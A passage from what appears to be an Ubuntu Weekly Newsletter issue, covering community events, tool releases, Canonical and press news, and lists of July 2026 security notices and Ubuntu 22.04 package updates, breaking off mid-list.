<h3><a name="p-220290-ubuntu-kde-akademy-2026-18" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-kde-akademy-2026-18"></a>Ubuntu @ KDE Akademy 2026</h3>
<p>Mauro Gaspari has posted a KDE Akademy event record which gives us details of the Akademy; which is happening this 30th year of the KDE project. Date, location, links, and brief details are provided.</p>
<p><a href="https://discourse.ubuntu.com/t/ubuntu-kde-akademy-2026/84871">https://discourse.ubuntu.com/t/ubuntu-kde-akademy-2026/84871</a></p>
<h3><a name="p-220290-ubucon-latin-america-2026-19" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubucon-latin-america-2026-19"></a>UbuCon Latin America 2026</h3>
<p>Mauro Gaspari has posted a UbuCon Latin America event record which gives us details of the UbuCon Latin America 2026 conference. We’re shown a poster, given details; Mauro includes the date, location, and more.</p>
<p><a href="https://discourse.ubuntu.com/t/ubucon-latin-america-2026/84874">https://discourse.ubuntu.com/t/ubucon-latin-america-2026/84874</a></p>
<h3><a name="p-220290-openprinting-news-opportunity-open-source-40-call-for-proposals-extended-to-end-of-july-20" class="anchor" href="https://discourse.ubuntu.com#p-220290-openprinting-news-opportunity-open-source-40-call-for-proposals-extended-to-end-of-july-20"></a>OpenPrinting News: Opportunity Open Source 4.0 - Call for Proposals extended to end of July</h3>
<p>Till Kamppeter gives us the latest OpenPrinting News, which includes an extension for the Call for Proposals for Opportunity Open Source 4.0. We’re reminded about what is wanted in the call for proposals, and given numerous links for more information.</p>
<p><a href="https://openprinting.github.io/OpenPrinting-News-Opportunity-Open-Source-4.0-Call-for-Proposals-extended-to-end-of-July">https://openprinting.github.io/OpenPrinting-News-Opportunity-Open-Source-4.0-Call-for-Proposals-extended-to-end-of-July</a> | <a href="https://events.canonical.com/event/154/abstracts/">https://events.canonical.com/event/154/abstracts/</a></p>
<h2><a name="p-220290-ubuntu-circles-loco-events-21" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-circles-loco-events-21"></a>Ubuntu Circles! (LoCo) Events</h2>
<p>The following LoCo team events are currently scheduled in the next two weeks:</p>
<ul>
<li>Arizona LoCo: Virtual Installfest/Linux Workshop on line; 18 July, 1000-1600 - Big Blue Button, <a href="https://bbb.azloco.net">https://bbb.azloco.net</a> (co-hosted with the Phoenix Linux User Group)</li>
<li>Atlanta Linux Enthusiasts: Linux Help Session (Online) - Jitsi; 19 July, 3 PM CST - <a href="https://www.heylo.com/event/e8115db9-66af-454f-b29f-fd25ffb725f4">https://www.heylo.com/event/e8115db9-66af-454f-b29f-fd25ffb725f4</a></li>
<li>Arizona LoCo: Virtual Tempe Ubuntu Hour on line; 23 July, 1900 - 2000 - BigBlue Button, <a href="https://bbb.azloco.net">https://bbb.azloco.net</a></li>
</ul>
<p>Looking beyond the next two weeks? Visit the respective Circles!/LoCo Team calendar to browse upcoming events.</p>
<p>Please also see:</p>
<ul>
<li>Ubuntu Arizona LoCo: <a href="https://discourse.ubuntu.com/t/upcoming-events-for-azloco/38466">https://discourse.ubuntu.com/t/upcoming-events-for-azloco/38466</a></li>
<li>Atlanta Linux Enthusiasts: <a href="https://ale.org/">https://ale.org/</a></li>
<li>Registered LoCo contacts: <a href="https://discourse.ubuntu.com/c/locos/129">https://discourse.ubuntu.com/c/locos/129</a></li>
</ul>
<h2><a name="p-220290-the-hub-22" class="anchor" href="https://discourse.ubuntu.com#p-220290-the-hub-22"></a>The Hub</h2>
<h3><a name="p-220290-workshop-093-has-been-released-23" class="anchor" href="https://discourse.ubuntu.com#p-220290-workshop-093-has-been-released-23"></a>Workshop 0.9.3 has been released</h3>
<p>Dmitry Lyfar gives us details of the release of Workshop 0.9.3. It includes a list of the new features, listing for SDKcraft, Workshop GitHub Action changes and Reference SDKs, with links provided.</p>
<p><a href="https://discourse.ubuntu.com/t/workshop-0-9-3-has-been-released/84875">https://discourse.ubuntu.com/t/workshop-0-9-3-has-been-released/84875</a></p>
<h3><a name="p-220290-run-workshop-actions-in-a-ci-pipeline-24" class="anchor" href="https://discourse.ubuntu.com#p-220290-run-workshop-actions-in-a-ci-pipeline-24"></a>Run Workshop actions in a CI pipeline</h3>
<p>Artem Konev briefly reminds us of the purpose of Workshop, and moves to using CI to build a second copy of that environment, mentioning that over time these copies can ‘drift’ apart. This post tells us of the creation of a “small repo” used to prove how it works, with this post giving us details on what is found. This can help us better understand the <code>launch-workshop</code> action, which may save us time. Finally we’re given a list of further pages where we can learn more, too.</p>
<p><a href="https://discourse.ubuntu.com/t/run-workshop-actions-in-a-ci-pipeline/84876">https://discourse.ubuntu.com/t/run-workshop-actions-in-a-ci-pipeline/84876</a></p>
<h3><a name="p-220290-the-20260622-sru-cycle-is-started-25" class="anchor" href="https://discourse.ubuntu.com#p-220290-the-20260622-sru-cycle-is-started-25"></a>The 2026.06.22 SRU Cycle is started</h3>
<p>Mehmet Basaran in posting the SRU Cycle 2026-06-22 post gives us details of the SRU Cycle which covers 22-June through 19-July 2026.</p>
<p><a href="https://discourse.ubuntu.com/t/the-2026-06-22-sru-cycle-is-started/84927">https://discourse.ubuntu.com/t/the-2026-06-22-sru-cycle-is-started/84927</a></p>
<h3><a name="p-220290-call-for-testing-ubuntu-lint-26" class="anchor" href="https://discourse.ubuntu.com#p-220290-call-for-testing-ubuntu-lint-26"></a>Call for testing: ubuntu-lint</h3>
<p>Nick Rosbrook (enr0n) tells us about a new <code>ubuntu-lint</code> tool which will help Ubuntu upload quality and developer experience within existing conventions. We’re given some details, and told how to install it if running Ubuntu 26.10 or Ubuntu 24.04 LTS. We’re also briefly told how it can be used, either interactively or in an integrated manner. We’re finally asked to consider installing and using it in our workflows, and provide feedback or bug reports and feature requests on the provided GitHub link.</p>
<p><a href="https://discourse.ubuntu.com/t/call-for-testing-ubuntu-lint/85006">https://discourse.ubuntu.com/t/call-for-testing-ubuntu-lint/85006</a></p>
<h2><a name="p-220290-what-say-you-27" class="anchor" href="https://discourse.ubuntu.com#p-220290-what-say-you-27"></a>What Say You</h2>
<h3><a name="p-220290-lubuntu-is-officially-in-my-iso-roster-28" class="anchor" href="https://discourse.ubuntu.com#p-220290-lubuntu-is-officially-in-my-iso-roster-28"></a>Lubuntu is officially in my .iso roster.</h3>
<p>“I admit LubuntuOfficial Lubuntu kinda knocked my socks off today. I’ve been trying to find something I like for a certain 01/2015 low-end semi-refurb HP15 and the ‘tiny’ and ‘pi’ OSes weren’t what I was digging but the XFCE of Zorin Lite and Mint XFCE were almost too ‘heavy’, but LXQt &amp; Lubuntu = usability and speed wo sacrifice. I don’t know why I dug my heels in this long. It isn’t a daily driver, it’s a special-purpose computer, but Lubuntu is officially in my .iso roster.” - C!</p>
<p><a href="https://ubuntu.social/@SlangC5326@mastodon.social/116880309595621080">https://ubuntu.social/@SlangC5326@mastodon.social/116880309595621080</a></p>
<h2><a name="p-220290-canonical-news-29" class="anchor" href="https://discourse.ubuntu.com#p-220290-canonical-news-29"></a>Canonical News</h2>
<ul>
<li>Beyond safety and security: Why automotive open source demands dependability - <a href="https://ubuntu.com/blog/beyond-safety-and-security-why-automotive-open-source-demands-dependability">https://ubuntu.com/blog/beyond-safety-and-security-why-automotive-open-source-demands-dependability</a></li>
<li>Building an open source chain of trust: new research uncovers key blockers and ways forward - <a href="https://ubuntu.com/blog/open-source-security-research">https://ubuntu.com/blog/open-source-security-research</a></li>
<li>Ubuntu Server: a platform made for enterprise scale - <a href="https://ubuntu.com/blog/ubuntu-server-a-platform-made-for-enterprise-scale">https://ubuntu.com/blog/ubuntu-server-a-platform-made-for-enterprise-scale</a></li>
<li>Managing Ubuntu on bare metal at scale - <a href="https://ubuntu.com/blog/managing-ubuntu-on-bare-metal-at-scale">https://ubuntu.com/blog/managing-ubuntu-on-bare-metal-at-scale</a></li>
</ul>
<h2><a name="p-220290-in-the-press-30" class="anchor" href="https://discourse.ubuntu.com#p-220290-in-the-press-30"></a>In the Press</h2>
<h3><a name="p-220290-canonical-managed-kubeflow-lands-on-azure-31" class="anchor" href="https://discourse.ubuntu.com#p-220290-canonical-managed-kubeflow-lands-on-azure-31"></a>Canonical Managed Kubeflow lands on Azure</h3>
<p>Rob Gibbon, the Product Manager of AI &amp; Analytics at Canonical, has written this partner content. Rob discusses why platform teams are swapping DIY Kubeflow for Canonical’s managed service. This post touches on management issues, including the somewhat constant upstream changes, security patches, and considerations for an organizations own needs. This can be more complex due to Kubeflow’s structural roots, which can make Canonical’s managed options an ‘escape valve’.</p>
<p><a href="https://www.theregister.com/paas-and-iaas/2026/07/09/canonical-managed-kubeflow-lands-on-azure/5268626">https://www.theregister.com/paas-and-iaas/2026/07/09/canonical-managed-kubeflow-lands-on-azure/5268626</a></p>
<h2><a name="p-220290-in-the-blogosphere-32" class="anchor" href="https://discourse.ubuntu.com#p-220290-in-the-blogosphere-32"></a>In the Blogosphere</h2>
<h3><a name="p-220290-kde-plasma-666-released-with-numerous-bug-fixes-and-various-improvements-33" class="anchor" href="https://discourse.ubuntu.com#p-220290-kde-plasma-666-released-with-numerous-bug-fixes-and-various-improvements-33"></a>KDE Plasma 6.6.6 Released with Numerous Bug Fixes and Various Improvements</h3>
<p>Marcus Nestor informs us that the KDE Project has released KDE Plasma 6.6.6 as the last maintenance release of the KDE Plasma 6.6 series. We’re given some details of crashes/bugs now fixed, some of what is now possible, and a link to the full changelog.</p>
<p><a href="https://9to5linux.com/kde-plasma-6-6-6-released-with-numerous-bug-fixes-and-various-improvements">https://9to5linux.com/kde-plasma-6-6-6-released-with-numerous-bug-fixes-and-various-improvements</a></p>
<h3><a name="p-220290-proton-11-officially-released-with-support-for-more-games-running-on-linux-34" class="anchor" href="https://discourse.ubuntu.com#p-220290-proton-11-officially-released-with-support-for-more-games-running-on-linux-34"></a>Proton 11 Officially Released with Support for More Games Running on Linux</h3>
<p>Marcus Nestor tells us of Valve’s release of Proton 11, based on Wine 11. We’re given a list of “newly supported games” and told of some improvements in Proton 11 too. A link to the release notes at GitHub is provided if we need more.</p>
<p><a href="https://9to5linux.com/proton-11-officially-released-with-support-for-more-games-running-on-linux">https://9to5linux.com/proton-11-officially-released-with-support-for-more-games-running-on-linux</a></p>
<h3><a name="p-220290-xwayland-24113-released-to-fix-two-more-security-issues-in-the-xorg-codebase-35" class="anchor" href="https://discourse.ubuntu.com#p-220290-xwayland-24113-released-to-fix-two-more-security-issues-in-the-xorg-codebase-35"></a>XWayland 24.1.13 Released To Fix Two More Security Issues In The <a href="http://X.Org">X.Org</a> Codebase</h3>
<p>Michael Larabel tells us of two now public issues in <a href="http://X.Org">X.Org</a> Server (and XWayland). The vulnerabilities (CVE-2026-55999 and CVE-2026-56000) were discovered by Trend Micro Zero Day Initiative, with us also told they are now solved upstream.</p>
<p><a href="https://www.phoronix.com/news/XWayland-24.1.13-Released">https://www.phoronix.com/news/XWayland-24.1.13-Released</a></p>
<ul>
<li><a href="https://ubuntu.com/security/CVE-2026-55999" class="inline-onebox">CVE-2026-55999 | Ubuntu</a></li>
<li><a href="https://ubuntu.com/security/CVE-2026-56000" class="inline-onebox">CVE-2026-56000 | Ubuntu</a></li>
</ul>
<h3><a name="p-220290-ubuntu-2610-retires-dbus-daemon-after-22-year-run-as-default-36" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-2610-retires-dbus-daemon-after-22-year-run-as-default-36"></a>Ubuntu 26.10 retires dbus-daemon after 22 year run as default</h3>
<p>Joey Sneddon tells us that Ubuntu 26.10 will replace its d-bus implementation which has been with us since Ubuntu 4.10 (2004). He briefly reminds us what the dbus message bus does. We’re told that <code>dbus-daemon</code> could drop messages when the system is heavily loaded, which shouldn’t happen with the much newer <code>dbus-broker</code> which replaces it. Joey also explains why this wasn’t done before now, with the older <code>dbus-daemon</code> package being moved to universe so they’re still available for packages that require it. Joey also includes some commands that will let us try it out.</p>
<p><a href="https://www.omgubuntu.co.uk/2026/07/ubuntu-26-10-dbus-broker">https://www.omgubuntu.co.uk/2026/07/ubuntu-26-10-dbus-broker</a></p>
<h2><a name="p-220290-in-other-news-37" class="anchor" href="https://discourse.ubuntu.com#p-220290-in-other-news-37"></a>In Other News</h2>
<h3><a name="p-220290-strengthening-rust-infrastructure-security-with-ubuntu-pro-38" class="anchor" href="https://discourse.ubuntu.com#p-220290-strengthening-rust-infrastructure-security-with-ubuntu-pro-38"></a>Strengthening Rust Infrastructure Security with Ubuntu Pro</h3>
<p>Marco Ieni talks of the Rust project’s broad set of infrastructure, using modern practices, with some [legacy] ‘pets’. We’re then told the Rust project has adopted Ubuntu Pro, and given the reasons why. Also discussed is why automatic updates are of benefit to the Rust project infrastructure.</p>
<p><a href="https://rustfoundation.org/media/strengthening-rust-infrastructure-security-with-ubuntu-pro/">https://rustfoundation.org/media/strengthening-rust-infrastructure-security-with-ubuntu-pro/</a></p>
<h2><a name="p-220290-featured-audio-and-video-39" class="anchor" href="https://discourse.ubuntu.com#p-220290-featured-audio-and-video-39"></a>Featured Audio and Video</h2>
<h3><a name="p-220290-linux-matters-episode-85-clearing-the-decks-40" class="anchor" href="https://discourse.ubuntu.com#p-220290-linux-matters-episode-85-clearing-the-decks-40"></a>Linux Matters: Episode 85 - Clearing the Decks</h3>
<p>“Alan reports back from the Ubuntu Summit, Martin updates Jivetalking, and Mark is a fun guy.”</p>
<p><a href="https://linuxmatters.sh/85/">https://linuxmatters.sh/85/</a></p>
<h2><a name="p-220290-updates-and-security-for-ubuntu-2204-2404-2510-and-2604-41" class="anchor" href="https://discourse.ubuntu.com#p-220290-updates-and-security-for-ubuntu-2204-2404-2510-and-2604-41"></a>Updates and Security for Ubuntu 22.04, 24.04, 25.10, and 26.04</h2>
<h3><a name="p-220290-security-updates-42" class="anchor" href="https://discourse.ubuntu.com#p-220290-security-updates-42"></a>Security Updates</h3>
<ul>
<li>[USN-8507-1] Linux kernel (NVIDIA) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010849.html" class="inline-onebox">[USN-8507-1] Linux kernel (NVIDIA) vulnerabilities</a></li>
<li>[USN-8508-1] Linux kernel (NVIDIA) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010850.html" class="inline-onebox">[USN-8508-1] Linux kernel (NVIDIA) vulnerabilities</a></li>
<li>[USN-8492-3] Linux kernel (Raspberry Pi Real-time) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010851.html">https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010851.html</a></li>
<li>[USN-8509-1] Python vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010856.html" class="inline-onebox">[USN-8509-1] Python vulnerabilities</a></li>
<li>[USN-8505-1] Parsl vulnerability - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010853.html" class="inline-onebox">[USN-8505-1] Parsl vulnerability</a></li>
<li>[USN-8504-1] SOGo vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010854.html" class="inline-onebox">[USN-8504-1] SOGo vulnerabilities</a></li>
<li>[USN-8506-1] Request Tracker vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010855.html">https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010855.html</a></li>
<li>[USN-8510-1] tar vulnerability - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010857.html" class="inline-onebox">[USN-8510-1] tar vulnerability</a></li>
<li>[USN-8511-1] socat vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010858.html" class="inline-onebox">[USN-8511-1] socat vulnerabilities</a></li>
<li>[USN-8512-1] Gzip vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010859.html">https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010859.html</a></li>
<li>[USN-8513-1] PHP vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010860.html" class="inline-onebox">[USN-8513-1] PHP vulnerabilities</a></li>
<li>[USN-8514-1] OpenSSH vulnerability - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010861.html" class="inline-onebox">[USN-8514-1] OpenSSH vulnerability</a></li>
<li>[USN-8502-1] GnuTLS vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010862.html" class="inline-onebox">[USN-8502-1] GnuTLS vulnerabilities</a></li>
<li>[USN-8515-1] Addressable vulnerability - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010863.html" class="inline-onebox">[USN-8515-1] Addressable vulnerability</a></li>
<li>[USN-8517-1] ClamAV vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010865.html" class="inline-onebox">[USN-8517-1] ClamAV vulnerabilities</a></li>
<li>[USN-8516-1] Apache HTTP Server vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010864.html" class="inline-onebox">[USN-8516-1] Apache HTTP Server vulnerabilities</a></li>
<li>[USN-8518-1] mailcap vulnerability - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010866.html" class="inline-onebox">[USN-8518-1] mailcap vulnerability</a></li>
<li>[USN-8490-2] Linux kernel (Raspberry Pi) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010867.html" class="inline-onebox">[USN-8490-2] Linux kernel (Raspberry Pi) vulnerabilities</a></li>
<li>[USN-8492-4] Linux kernel (Raspberry Pi) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010868.html" class="inline-onebox">[USN-8492-4] Linux kernel (Raspberry Pi) vulnerabilities</a></li>
<li>[USN-8519-1] Go Cryptography vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010871.html" class="inline-onebox">[USN-8519-1] Go Cryptography vulnerabilities</a></li>
<li>[USN-8520-1] Expat vulnerability - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010872.html">https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010872.html</a></li>
<li>[USN-8522-1] LibRaw vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010869.html" class="inline-onebox">[USN-8522-1] LibRaw vulnerabilities</a></li>
<li>[USN-8521-1] Libidn vulnerability - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010870.html">https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010870.html</a></li>
<li>[USN-8524-1] Python vulnerability - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010873.html" class="inline-onebox">[USN-8524-1] Python vulnerability</a></li>
<li>[USN-8523-1] libsoup vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010874.html">https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010874.html</a></li>
<li>[USN-8526-1] libheif vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010875.html">https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010875.html</a></li>
<li>[USN-8525-1] curl vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010876.html" class="inline-onebox">[USN-8525-1] curl vulnerabilities</a></li>
<li>[USN-8492-5] Linux kernel (FIPS) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010878.html" class="inline-onebox">[USN-8492-5] Linux kernel (FIPS) vulnerabilities</a></li>
<li>[USN-8527-1] Linux kernel (Raspberry Pi) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010879.html" class="inline-onebox">[USN-8527-1] Linux kernel (Raspberry Pi) vulnerabilities</a></li>
<li>[USN-8528-1] Linux kernel (Xilinx ZynqMP) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010880.html" class="inline-onebox">[USN-8528-1] Linux kernel (Xilinx ZynqMP) vulnerabilities</a></li>
<li>[USN-8529-1] Linux kernel vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010881.html" class="inline-onebox">[USN-8529-1] Linux kernel vulnerabilities</a></li>
<li>[USN-8530-1] Linux kernel (AWS) vulnerabilities - <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2026-July/010882.html" class="inline-onebox">[USN-8530-1] Linux kernel (AWS) vulnerabilities</a></li>
</ul>
<h3><a name="p-220290-ubuntu-2204-updates-43" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-2204-updates-43"></a>Ubuntu 22.04 Updates</h3>
<ul>
<li>linux-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047331.html" class="inline-onebox">[ubuntu/jammy-proposed] linux-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 (Accepted)</a></li>
<li>linux-meta-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047332.html" class="inline-onebox">[ubuntu/jammy-proposed] linux-meta-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 (Accepted)</a></li>
<li>linux-signed-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047333.html" class="inline-onebox">[ubuntu/jammy-proposed] linux-signed-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 (Accepted)</a></li>
<li>linux-restricted-signatures-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047334.html" class="inline-onebox">[ubuntu/jammy-proposed] linux-restricted-signatures-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 (Accepted)</a></li>
<li>linux-restricted-modules-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047335.html" class="inline-onebox">[ubuntu/jammy-proposed] linux-restricted-modules-lowlatency-hwe-6.8 6.8.0-136.136.2~22.04.1 (Accepted)</a></li>
<li>python3.10 3.10.12-1~22.04.16 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047336.html" class="inline-onebox">[ubuntu/jammy-security] python3.10 3.10.12-1~22.04.16 (Accepted)</a></li>
<li>tar 1.34+dfsg-1ubuntu0.1.22.04.4 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047337.html" class="inline-onebox">[ubuntu/jammy-security] tar 1.34+dfsg-1ubuntu0.1.22.04.4 (Accepted)</a></li>
<li>gzip 1.10-4ubuntu4.2 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047338.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047338.html</a></li>
<li>linux-raspi 5.15.0-1106.109 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047342.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047342.html</a></li>
<li>linux-meta-raspi 5.15.0.1106.104 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047343.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047343.html</a></li>
<li>linux-meta-raspi 5.15.0.1105.103 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047344.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047344.html</a></li>
<li>linux-meta-xilinx-zynqmp 5.15.0.1074.77 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047345.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047345.html</a></li>
<li>linux-raspi 5.15.0-1105.108 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047346.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047346.html</a></li>
<li>linux-xilinx-zynqmp 5.15.0-1074.78 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047347.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047347.html</a></li>
<li>linux-hwe-6.8 6.8.0-136.136~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047348.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047348.html</a></li>
<li>linux-signed-hwe-6.8 6.8.0-136.136~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047349.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047349.html</a></li>
<li>linux-meta-hwe-6.8 6.8.0-136.136~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047350.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047350.html</a></li>
<li>linux-restricted-modules-hwe-6.8 6.8.0-136.136~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047351.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047351.html</a></li>
<li>linux-restricted-signatures-hwe-6.8 6.8.0-136.136~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047352.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047352.html</a></li>
<li>apache2 2.4.52-1ubuntu4.23 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047353.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047353.html</a></li>
<li>clamav 1.5.3+dfsg-0ubuntu0.22.04.2 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047354.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047354.html</a></li>
<li>snapd 2.76+ubuntu22.04 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047355.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047355.html</a></li>
<li>edk2 2022.02-3ubuntu0.22.04.6 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047358.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047358.html</a></li>
<li>mailcap 3.70+nmu1ubuntu1.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047359.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047359.html</a></li>
<li>tzdata 2026b-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047360.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047360.html</a></li>
<li>fabric-manager-535 535.309.01-0ubuntu0.22.04.2 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047361.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047361.html</a></li>
<li>fabric-manager-580 580.173.02-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047362.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047362.html</a></li>
<li>libnvidia-nscq-535 535.309.01-0ubuntu0.22.04.2 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047363.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047363.html</a></li>
<li>libnvidia-nscq-580 580.173.02-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047364.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047364.html</a></li>
<li>nvidia-imex-580 580.173.02-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047365.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047365.html</a></li>
<li>nvidia-graphics-drivers-580 580.173.02-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047366.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047366.html</a></li>
<li>nvidia-graphics-drivers-610 610.43.02-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047367.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047367.html</a></li>
<li>nvidia-graphics-drivers-595 595.84-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047368.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047368.html</a></li>
<li>nvidia-graphics-drivers-580-server 580.173.02-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047369.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047369.html</a></li>
<li>nvidia-graphics-drivers-535 535.309.01-0ubuntu0.22.04.2 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047370.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047370.html</a></li>
<li>nvidia-graphics-drivers-535-server 535.309.01-0ubuntu0.22.04.2 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047371.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047371.html</a></li>
<li>linux-gcp 5.15.0-1112.122 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047373.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047373.html</a></li>
<li>linux-meta-gcp 5.15.0.1112.109 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047374.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047374.html</a></li>
<li>linux-signed-gcp 5.15.0-1112.122 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047375.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047375.html</a></li>
<li>linux-restricted-modules-gcp 5.15.0-1112.122 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047376.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047376.html</a></li>
